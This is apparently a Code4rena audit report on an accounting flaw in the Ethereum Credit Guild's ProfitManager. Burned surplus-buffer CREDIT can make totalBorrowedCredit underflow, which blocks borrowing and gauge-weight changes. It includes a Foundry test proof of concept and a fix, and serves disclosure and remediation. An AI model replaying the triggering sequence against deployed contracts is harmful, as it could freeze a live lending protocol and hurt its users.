totalBorrowedCredit could be miscalculated if surplus buffer is burned due to miscalculation in redeemableCredit

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L172-L176 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SimplePSM.sol#L97-L99 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SimplePSM.sol#L80-L84

Vulnerability details

Impact

The function totalBorrowedCredit in the ProfitManager calculates how much CREDIT is borrowed by deducting from the totalSupply the tokens that were not borrowed and were minted in PSM. The functions redeemableCredit and getMintAmountOut are used to calculate how many tokens were minted in PSM. However, it is assumed that for all underlying tokens in the PSM CREDIT were minted, but the credit that was minted could also have been burned (e.g. as a surplus buffer), which was not taken into account. This results in the amount returned by redeemableCredit being larger than it actually should be. It could lead to redeemableCredit being greater than totalSupply. This results in totalBorrowedCredit being reverted due to an underflow as you can see in the function. The function debtCeiling can no longer be used in any LendingTerm, as it also uses totalBorrowedCredit. This in turn leads to the _decrementGaugeWeight being reverted. This means you can no longer decrement weight on the gauge and applyGaugeLoss no longer works. Borrow also no longer works on any LendingTerm because totalBorrowedCredit is also used there. But even if this case does not occur and totalBorrowedCredit is simply more than it should be, debtCeiling will be more than it should be, which allows you to decrement more weight than you should actually be able to.

Proof of Concept

Here is a POC that can be inserted into the file test/unit/loan/LendingTerm.t.sol and can be started with the following command: forge test --match-test testPOC6

function testPOC6() public {
        //Setup
        address user1 = address(1337);
        address user2 = address(1338);

        collateral.mint(user1, 10_000e18);
        collateral.mint(user2, 10_000e18);

        //POC
        vm.startPrank(user1);
        collateral.approve(address(term), 1000e18);
        term.borrow(1000e18, 1000e18); //user1 borrows 1000e18 so the totalBorrowedCredit becomes 1000e18
        vm.stopPrank();

        vm.startPrank(user2);
        collateral.approve(address(psm), 3000e18);
        psm.mint(user2, 3000e18);   //user2 mints CREDIT tokens

        credit.approve(address(profitManager), 3000e18);
        profitManager.donateToTermSurplusBuffer(address(term), 3000e18); //The minted tokens are donated as surplus buffer. Normally a user 
        //would do this through SGM but for this POC it has the same effect
        vm.stopPrank();

        assert(profitManager.totalBorrowedCredit() == 1000e18); //Shows that totalBorrowedCredit is 1000e18 even after minting in PSM

        profitManager.notifyPnL(address(term), -1100e18); //Large loss is notified, for example, because of forgiving a loan
        vm.expectRevert();  //This catches the underflow error caused by the miscalculation of totalBorrowedCredit
        profitManager.totalBorrowedCredit();

        vm.warp(block.timestamp + 100);

        vm.expectRevert(); //This also catches the underflow error because of revert in totalBorrowedCredit
        guild.decrementGauge(address(term), 100e18);
    }

These 3 lines should be added to the setup function in the role assignments so that the POC works correctly:

core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm));

Tools Used

VSCode, Foundry

Recommendation

There should be a variable in the ProfitManager that can be increased by the LendingTerms when CREDIT is borrowed and decreased when CREDIT is repaid. This variable should then replace totalBorrowedCredit

Assessed type

Other

[c4-pre-sort]

0xSorryNotSorry marked the issue as sufficient quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #1170

[c4-judge]

Trumpero marked the issue as satisfactory